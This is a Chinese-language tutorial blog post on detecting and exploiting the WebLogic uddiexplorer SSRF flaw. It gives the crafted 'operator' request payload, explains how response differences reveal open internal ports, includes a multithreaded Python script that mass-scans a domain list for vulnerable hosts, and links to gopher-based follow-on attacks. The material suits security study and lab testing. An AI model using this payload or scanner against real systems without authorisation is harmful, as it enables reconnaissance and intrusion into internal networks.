weblogic漏洞系列-SSRF漏洞

0x01前言:

SSRF漏洞的原理这里就不在细说了,这里主要讲解weblogic中SSRF漏洞的检测办法,以及利用手段。

0x02检测漏洞:

2.1、直接访问:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于:http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

weblogic漏洞系列-SSRF漏洞_第1张图片
image.png

2.2、向服务器提交以下参数

?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

image.png

关键点是operator这个参数,访问7001端口时返回一个404的状态码。

2.3、访问一个不存在的端口会返回以下信息。

image.png

可以通过返回的信息不同,来判断端口开放的状态。

2.4、实战挖掘的过程中总共遇到过以下几种状态(referer:http://zone.secevery.com/question/121):

状态一、

image.png

状态二、

image.png

状态三、

image.png

状态四、

image.png

状态五、

image.png

2.5批量检测脚本:

#!/usr/bin/env python  

# -*- coding: utf-8 -*-

import re

import sys

import Queue

import requests

import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()

mutex = threading.Lock()

class Test(threading.Thread):
    def __init__(self, queue):

        threading.Thread.__init__(self)

        self.queue = queue

    def check(self,domain,ip):

        payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)

        url = domain + payload

        try:

            html = requests.get(url=url, timeout=15, verify=False).content

            m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)

            if m:

                mutex.acquire()

                with open('ssrf1.txt','a+') as f:

                    print "%s has weblogic ssrf." % domain

                    f.write("%s has weblogic ssrf." % domain)

                mutex.release()

        except Exception,e:

            print e

    def get_registry(self,domain):

        payload = 'uddiexplorer/SetupUDDIExplorer.jsp'

        url = domain + payload

        try:

            html = requests.get(url=url, timeout=15, verify=False).content

            m = re.search('For example: (.*?)/uddi/uddilistener.*?',html)

            if m:

                return m.group(1)

        except Exception,e:

            print e

    def run(self):

        while not self.queue.empty():

            domain = self.queue.get()

            mutex.acquire()

            print domain

            mutex.release()

            ip = self.get_registry(domain)

            self.check(domain,ip)

            self.queue.task_done()

if __name__ == '__main__':

    with open('domain.txt','r') as f:

        lines = f.readlines()

    for line in lines:

        queue.put(line.strip())

    for x in xrange(1,50):

        t = Test(queue)

        t.setDaemon(True)

        t.start()

    queue.join()
image.png

0x03、利用手段

3.1内网端口探测

我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。

实战挖掘中发现这个位置有可能会泄露内网网段。

image.png

确定网段之后可以使用脚本来进行快速探测。

SSRF不仅仅只是为了探测端口,更强大之处是在于探测到一些信息之后从而进一步的利用.

更多的利用手段可以参考以下文章:

https://blog.chaitin.cn/gopher-attack-surfaces/

0x04、Referer:

https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

http://wyb0.com/posts/weblogic-ssrf-check/

你可能感兴趣的:(weblogic漏洞系列-SSRF漏洞)